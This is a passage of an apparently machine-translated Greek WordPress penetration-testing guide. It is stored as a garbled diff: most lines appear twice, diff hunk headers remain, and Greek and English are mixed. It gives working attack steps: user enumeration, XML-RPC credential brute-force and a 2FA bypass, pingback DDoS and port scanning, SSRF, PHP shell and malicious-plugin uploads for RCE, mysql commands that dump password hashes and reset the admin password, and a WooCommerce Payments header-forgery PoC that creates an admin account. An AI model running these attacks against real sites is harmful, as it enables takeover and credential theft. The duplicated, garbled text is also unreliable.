Πιθανότατα δεν θα καταφέρετε να βρείτε όλα τα Plugins και Themes. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **actively Brute Force a list of Plugins and Themes** (ελπίζουμε ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
Πιθανότατα δεν θα μπορέσετε να εντοπίσετε όλα τα Plugins και Themes. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **actively Brute Force a list of Plugins and Themes** (ελπίζουμε ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
### Users
### Χρήστες
- **ID Brute:** Παίρνετε έγκυρους χρήστες από ένα WordPress site κάνοντας Brute Forcing των user IDs:
- **ID Brute:** Αποκτάτε έγκυρους χρήστες από ένα WordPress site με Brute Forcing users IDs:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Εάν οι αποκρίσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Αν η απόκριση είναι **400**, τότε το id είναι **άκυρο**.
Αν οι απαντήσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Αν η απάντηση είναι **400**, τότε το id είναι **άκυρο**.
- **wp-json:** Μπορείτε επίσης να δοκιμάσετε να λάβετε πληροφορίες για τους χρήστες ζητώντας:
- **wp-json:** Μπορείτε επίσης να δοκιμάσετε να λάβετε πληροφορίες για τους χρήστες κάνοντας ερώτημα στο:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Άλλο endpoint `/wp-json/` που μπορεί να αποκαλύψει κάποιες πληροφορίες για τους χρήστες είναι:
Ένα ακόμη endpoint `/wp-json/` που μπορεί να αποκαλύψει κάποιες πληροφορίες για χρήστες είναι:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Σημειώστε ότι αυτό το endpoint αποκαλύπτει μόνο χρήστες που έχουν κάνει ένα post. **Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν αυτή τη λειτουργία ενεργοποιημένη**.
Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν δημοσιεύσει. **Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν αυτή τη δυνατότητα ενεργοποιημένη**.
Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** could leak IP addresses.
Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** μπορεί να leak διευθύνσεις IP.
- **Login username enumeration**: Όταν συνδέεστε στο **`/wp-login.php`** το **μήνυμα** είναι **διαφορετικό** ανάλογα με το αν το υποδεικνυόμενο **username** υπάρχει ή όχι.
- **Login username enumeration**: Όταν κάνετε login στο **`/wp-login.php`**, το **μήνυμα** είναι **διαφορετικό** ανάλογα με το αν το **όνομα χρήστη υπάρχει ή όχι**.
### XML-RPC
Εάν το `xml-rpc.php` είναι ενεργό μπορείτε να πραγματοποιήσετε credentials brute-force ή να το χρησιμοποιήσετε για να εκτοξεύσετε DoS επιθέσεις σε άλλους πόρους. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ using this](https://github.com/relarizky/wpxploit) για παράδειγμα).
Αν το `xml-rpc.php` είναι ενεργό μπορείτε να εκτελέσετε brute-force σε διαπιστευτήρια ή να το χρησιμοποιήσετε για να εκτοξεύσετε DoS επιθέσεις σε άλλους πόρους. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ using this](https://github.com/relarizky/wpxploit) για παράδειγμα).
Για να δείτε αν είναι ενεργό δοκιμάστε να αποκτήσετε πρόσβαση στο _**/xmlrpc.php**_ και να στείλετε αυτό το αίτημα:
Για να δείτε αν είναι ενεργό δοκιμάστε να αποκτήσετε πρόσβαση στο _**/xmlrpc.php**_ και στείλτε το παρακάτω αίτημα:
**Έλεγχος**
```html
@ -120,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Credentials Bruteforce**
**Διαπιστευτήρια Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force credentials. Αν βρείτε κάποια από αυτές, μπορείτε να στείλετε κάτι όπως:
**`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force διαπιστευτηρίων. Αν βρείτε κάποια από αυτές, μπορείτε να στείλετε κάτι σαν:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
Το μήνυμα _"Incorrect username or password"_ μέσα σε μια 200 response πρέπει να εμφανίζεται εάν τα credentials δεν είναι έγκυρα.
Το μήνυμα _"Incorrect username or password"_ μέσα σε μια απάντηση με κωδικό 200 πρέπει να εμφανίζεται εάν τα credentials δεν είναι έγκυρα.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Χρησιμοποιώντας τα σωστά credentials μπορείτε να ανεβάσετε ένα αρχείο. Στην response θα εμφανίζεται το path ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Χρησιμοποιώντας τα σωστά credentials μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση η διαδρομή θα εμφανιστεί ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
Επιπλέον υπάρχει ένας **πιο γρήγορος τρόπος** για brute-force των διαπιστευτηρίων χρησιμοποιώντας **`system.multicall`**, καθώς μπορείτε να δοκιμάσετε αρκετά διαπιστευτήρια στην ίδια αίτηση:
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Παράκαμψη 2FA**
**Bypass 2FA**
Αυτός ο μηχανισμός προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιός, επομένως δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρα διαπιστευτήρια αλλά η κύρια είσοδος προστατεύεται από 2FA, **μπορεί να καταφέρετε να καταχραστείτε το xmlrpc.php για να συνδεθείτε με αυτά τα διαπιστευτήρια παρακάμπτοντας το 2FA**. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά μπορεί να καταφέρετε να φτάσετε σε RCE όπως το εξηγεί ο Ippsec στο [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, οπότε δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρα creds αλλά η κύρια είσοδος προστατεύεται από 2FA, **μπορεί να καταφέρετε να καταχραστείτε το xmlrpc.php για να κάνετε login με αυτά τα creds παρακάμπτοντας το 2FA**. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά ίσως εξακολουθείτε να μπορείτε να φτάσετε σε RCE όπως εξηγεί ο Ippsec στο [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS ή port scanning**
**DDoS or port scanning**
Αν μπορείτε να βρείτε τη μέθοδο _**pingback.ping**_ μέσα στη λίστα, μπορείτε να κάνετε το Wordpress να στείλει ένα αυθαίρετο αίτημα σε οποιοδήποτε host/port.\
Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε από **χιλιάδες** **Wordpress** **sites** να **προσπελάσουν** μία **τοποθεσία** (οπότε προκαλείται **DDoS** στην εν λόγω τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το **Wordpress** να **σκανάρει** κάποιο εσωτερικό **δίκτυο** (μπορείτε να καθορίσετε οποιαδήποτε port).
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **χιλιάδες** of Wordpress **sites** to **access** one **τοποθεσία** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Αν λάβετε **faultCode** με τιμή **μεγαλύτερη** από **0** (17), σημαίνει ότι η θύρα είναι ανοιχτή.
Αν λάβετε **faultCode** με τιμή **μεγαλύτερη** από **0** (17), αυτό σημαίνει ότι η port είναι ανοιχτή.
Ρίξτε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθετε πώς να καταχραστείτε αυτή τη μέθοδο για να προκαλέσετε DDoS.
Ρίξτε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθετε πώς να εκμεταλλευτείτε αυτή τη μέθοδο για να προκαλέσετε DDoS.
**DDoS**
```html
@ -209,15 +209,15 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### wp-cron.php DoS
Αυτό το αρχείο υπάρχει συνήθως στη ρίζα του Wordpress site: **`/wp-cron.php`**\
Όταν αυτό το αρχείο **προσπελαστεί** εκτελείται μία "**heavy**" MySQL **query**, οπότε μπορεί να χρησιμοποιηθεί από **attackers** για να **προκαλέσουν** ένα **DoS**.\
Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας client ζητά οποιαδήποτε σελίδα Wordpress), κάτι που σε sites με υψηλή κίνηση μπορεί να προκαλέσει προβλήματα (DoS).
Αυτό το αρχείο συνήθως υπάρχει στη ρίζα του Wordpress site: **`/wp-cron.php`**\
Όταν αυτό το αρχείο είναι **accessed** εκτελείται ένα "**heavy**" MySQL **query**, οπότε μπορεί να χρησιμοποιηθεί από **attackers** για να **cause** ένα **DoS**.\
Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας client ζητάει οποιαδήποτε Wordpress σελίδα), το οποίο σε sites με υψηλή επισκεψιμότητα μπορεί να προκαλέσει προβλήματα (DoS).
Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε ένα πραγματικό cronjob στον host που θα εκτελεί τις απαραίτητες ενέργειες σε τακτά διαστήματα (χωρίς να προκαλεί προβλήματα).
Συνίσταται να απενεργοποιηθεί το Wp-Cron και να δημιουργηθεί ένα πραγματικό cronjob μέσα στον host που θα εκτελεί τις απαραίτητες ενέργειες σε τακτά διαστήματα (χωρίς να προκαλεί προβλήματα).
### /wp-json/oembed/1.0/proxy - SSRF
Δοκιμάστε να προσπελάσετε _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ και η Worpress site μπορεί να κάνει ένα request προς εσάς.
Δοκίμασε να προσπελάσεις _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ και το Worpress site μπορεί να κάνει ένα request σε εσένα.
This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Αυτό το εργαλείο ελέγχει αν υπάρχει το **methodName: pingback.ping** και το path **/wp-json/oembed/1.0/proxy**, και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.
Αυτό το εργαλείο ελέγχει εάν υπάρχει το **methodName: pingback.ping** και το path **/wp-json/oembed/1.0/proxy** και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.
## Αυτόματα Εργαλεία
```bash
@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Απόκτηση πρόσβασης αντικαθιστώντας ένα bit
## Απόκτηση πρόσβασης με την επανεγγραφή ενός bit
Περισσότερο παρά μια πραγματική επίθεση, πρόκειται για μια περιέργεια. Στο CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) μπορούσες να αναστρέψεις 1 bit σε οποιοδήποτε αρχείο WordPress. Έτσι μπορούσες να αλλάξεις τη θέση `5389` του αρχείου `/var/www/html/wp-includes/user.php` για να κάνεις NOP τη λειτουργία NOT (`!`).
Περισσότερο από μια πραγματική επίθεση, αυτό είναι μια περιέργεια. Στο CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) μπορούσατε να αναστρέψετε 1 bit σε οποιοδήποτε wordpress αρχείο. Έτσι, μπορούσατε να αναστρέψετε τη θέση `5389` του αρχείου `/var/www/html/wp-includes/user.php` ώστε να μετατρέψετε την πράξη NOT (`!`) σε NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
## **Πίνακας RCE**
**Τροποποίηση ενός php από το χρησιμοποιούμενο θέμα (απαιτούνται διαπιστευτήρια διαχειριστή)**
**Τροποποίηση ενός php από το χρησιμοποιούμενο θέμα (απαιτούνται admin credentials)**
Εμφάνιση → Theme Editor → 404 Template (στα δεξιά)
Appearance → Theme Editor → 404 Template (στα δεξιά)
Αλλάξτε το περιεχόμενο σε ένα php shell:
![](<../../images/image (384).png>)
Αναζητήστε στο διαδίκτυο πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή την ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Αναζητήστε στο Internet πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή την ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -263,14 +263,14 @@ return new WP_Error(
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
για να αποκτήσετε session.
για να αποκτήσετε μία session.
## Plugin RCE
### PHP plugin
Ενδέχεται να είναι δυνατό να ανεβάσετε αρχεία .php ως plugin.\
Δημιουργήστε το PHP backdoor σας χρησιμοποιώντας για παράδειγμα:
Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα:
![](<../../images/image (183).png>)
@ -286,48 +286,48 @@ use exploit/unix/webapp/wp_admin_shell_upload
![](<../../images/image (70).png>)
Πιθανώς αυτό δεν θα κάνει τίποτα προφανώς, αλλά αν πάτε στο Media, θα δείτε το shell σας να έχει ανέβει:
Πιθανότατα αυτό δεν θα κάνει τίποτα, αλλά αν μεταβείτε στο Media, θα δείτε το shell σας ανεβασμένο:
![](<../../images/image (462).png>)
Πρόσβασή σε αυτό και θα δείτε το URL για να εκτελέσετε το reverse shell:
Ανοίγοντάς το θα δείτε το URL για την εκτέλεση του reverse shell:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός κακόβουλου plugin που είναι γνωστό ότι έχει ευπάθεια και μπορεί να εκμεταλλευτεί για να αποκτήσει web shell. Η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής:
Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός malicious plugin που είναι γνωστό ότι είναι ευπαθές και μπορεί να εκμεταλλευτεί για την απόκτηση ενός web shell. Η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής:
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: Το plugin αποκτάται από μια πηγή όπως το Exploit DB, όπως [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Upload the zip file of the downloaded plugin.
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
- Μεταβείτε στο WordPress dashboard, στη συνέχεια πηγαίνετε σε `Dashboard > Plugins > Upload Plugin`.
- Ανεβάστε το zip αρχείο του κατεβασμένου plugin.
3. **Plugin Activation**: Μόλις το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard.
4. **Exploitation**:
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
- Με το plugin "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί επειδή είναι γνωστό ότι είναι ευπαθές.
- Το Metasploit framework παρέχει ένα exploit για αυτή την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια meterpreter session, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στην ιστοσελίδα.
- Σημειώνεται ότι αυτή είναι μόνο μία από τις πολλές μεθόδους για να εκμεταλλευτείτε ένα WordPress site.
Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που δείχνουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες θα πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως σε penetration testing με ρητή άδεια.
Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως σε penetration testing με ρητή άδεια.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Από XSS σε RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να κλιμακώνει μια ευπάθεια **Cross-Site Scripting (XSS)** σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες δείτε [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Creates an user in WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να αναβαθμίζει μια **Cross-Site Scripting (XSS)** ευπάθεια σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες δείτε [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Δημιουργεί έναν χρήστη στο WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Ανεβάζει το custom plugin (backdoor) σας στο WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Επεξεργασία ενός Built-In plugin στο WordPress.
- _**(RCE) Built-In Theme Edit:**_ Επεξεργασία ενός Built-In theme στο WordPress.
- _**(Custom) Custom Exploits:**_ Custom Exploits για third-party WordPress Plugins/Themes.
## Post Exploitation
Εξαγωγή ονομάτων χρηστών και κωδικών πρόσβασης:
Εξαγωγή ονομάτων χρήστη και κωδικών πρόσβασης:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Αλλαγή κωδικού admin:
Αλλαγή admin password:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
@ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Επιφάνεια Επίθεσης
Η γνώση του πώς ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμη για να εντοπιστούν ευπάθειες στη λειτουργία του. Μπορείτε να δείτε με ποιους τρόπους ένα plugin μπορεί να εκθέσει λειτουργίες στα παρακάτω σημεία και μερικά παραδείγματα ευάλωτων plugins στο [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Η γνώση του τρόπου με τον οποίο ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμη για να εντοπιστούν ευπάθειες στη λειτουργία του. Μπορείτε να δείτε πώς ένα plugin μπορεί να εκθέσει λειτουργίες στα παρακάτω σημεία και κάποια παραδείγματα ευάλωτων plugins στο [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει functions σε χρήστες είναι μέσω AJAX handlers. Αυτά μπορεί να περιέχουν λογικά σφάλματα, προβλήματα authorization ή authentication. Επιπλέον, είναι αρκετά συχνό αυτά τα functions να βασίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός Wordpress nonce που **οποιοσδήποτε χρήστης authenticated στην Wordpress instance μπορεί να έχει** (ανεξαρτήτως ρόλου).
Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει functions σε χρήστες είναι μέσω AJAX handlers. Αυτές μπορεί να περιέχουν bugs στη λογική, την authorization ή την authentication. Επιπλέον, είναι αρκετά συχνό αυτές οι συναρτήσεις να βασίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός Wordpress nonce που **οποιοσδήποτε χρήστης αυθεντικοποιημένος στην εγκατάσταση Wordpress μπορεί να έχει** (ανεξαρτήτως ρόλου).
Αυτές είναι οι functions που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια function σε ένα plugin:
Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Η χρήση του `nopriv` καθιστά το endpoint προσβάσιμο από οποιουσδήποτε χρήστες (ακόμα και μη unathenticated).**
**Η χρήση του `nopriv` κάνει το endpoint προσβάσιμο από οποιουσδήποτε χρήστες (ακόμη και μη αυθεντικοποιημένους).**
> [!CAUTION]
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση απλώς ελέγχει ότι ο χρήστης είναι loggedin, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι, χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλότερα προνόμια.
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση ελέγχει μόνο ότι ο χρήστης είναι συνδεδεμένος, και συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι, χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες υψηλών προνομίων.
- **REST API**
Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρίζοντας ένα REST API χρησιμοποιώντας τη συνάρτηση `register_rest_route`:
Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας ένα REST API χρησιμοποιώντας τη συνάρτηση `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` είναι μια callback συνάρτηση που ελέγχει αν ένας συγκεκριμένος χρήστης έχει εξουσιοδότηση να καλέσει τη μέθοδο του API.
Το `permission_callback` είναι μια συνάρτηση callback που ελέγχει αν ένας δοθέν χρήστης είναι εξουσιοδοτημένος να καλέσει τη μέθοδο API.
**Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, θα παρακάμψει απλά τον έλεγχο δικαιωμάτων χρήστη.**
**Αν η ενσωματωμένη συνάρτηση `__return_true` χρησιμοποιηθεί, απλά θα παραλείψει τον έλεγχο δικαιωμάτων χρήστη.**
- **Άμεση πρόσβαση στο php αρχείο**
- **Άμεση πρόσβαση στο αρχείο PHP**
Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, αν ένα plugin εκθέτει κάποια ευπαθή λειτουργία που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα μπορεί να εκμεταλλευτείται από οποιονδήποτε χρήστη.
Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, σε περίπτωση που ένα plugin εκθέτει κάποια ευπαθή λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμο από οποιονδήποτε χρήστη.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Μερικά plugins υλοποιούν “trusted header” συντομεύσεις για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτήν την επικεφαλίδα για να ορίσουν το τρέχον context χρήστη για αιτήματα REST. Εάν η επικεφαλίδα δεν είναι κρυπτογραφικά δεμένη με το αίτημα από κάποιο upstream component, ένας επιτιθέμενος μπορεί να την πλαστογραφήσει και να προσπελάσει προνομιακές REST routes ως διαχειριστής.
Κάποια plugins υλοποιούν “trusted header” συντομεύσεις για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτό το header για να ορίσουν το τρέχον user context για αιτήματα REST. Εάν το header δεν είναι κρυπτογραφικά δεσμευμένο στο αίτημα από κάποιο upstream component, ένας επιτιθέμενος μπορεί να το πλαστογραφήσει και να προσπελάσει προνόμιες REST routes ως διαχειριστής.
- Επίπτωση: μη-επιβεβαιωμένη αναβάθμιση προνομίων σε διαχειριστή δημιουργώντας έναν νέο διαχειριστή μέσω της core users REST route.
- Παράδειγμα επικεφαλίδας: `X-Wcpay-Platform-Checkout-User: 1` (εξαναγκάζει το user ID 1, που συνήθως είναι ο πρώτος λογαριασμός διαχειριστή).
- Εκμεταλλευόμενη διαδρομή: `POST /wp-json/wp/v2/users` με ένα array ρόλων με αυξημένα προνόμια.
- Impact: κλιμάκωση προνομίων χωρίς αυθεντικοποίηση σε διαχειριστή δημιουργώντας νέο λογαριασμό διαχειριστή μέσω του core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (αναγκάζει το user ID 1, συνήθως ο πρώτος λογαριασμός διαχειριστή).
- Exploited route: `POST /wp-json/wp/v2/users` με πίνακα ρόλων που αποδίδει ανυψωμένο ρόλο.
PoC
```http
@ -393,38 +393,38 @@ Content-Length: 114
```
Γιατί λειτουργεί
- Το plugin αντιστοιχίζει ένα header που ελέγχεται από τον client στην κατάσταση επαλήθευσης ταυτότητας και παρακάμπτει τους ελέγχους capability.
- Το WordPress core αναμένει την capability `create_users` για αυτό το route· το hack του plugin το παρακάμπτει με το να ορίσει απευθείας το current user context από το header.
- Το plugin αντιστοιχίζει ένα header που ελέγχεται από τον client στην κατάσταση πιστοποίησης και παραλείπει τους ελέγχους δικαιωμάτων.
- Ο πυρήνας του WordPress περιμένει την capability `create_users` για αυτό το route· το hack του plugin το παρακάμπτει ρυθμίζοντας απευθείας το context του current user από το header.
Αναμενόμενοι δείκτες επιτυχίας
Αναμενόμενα δείγματα επιτυχίας
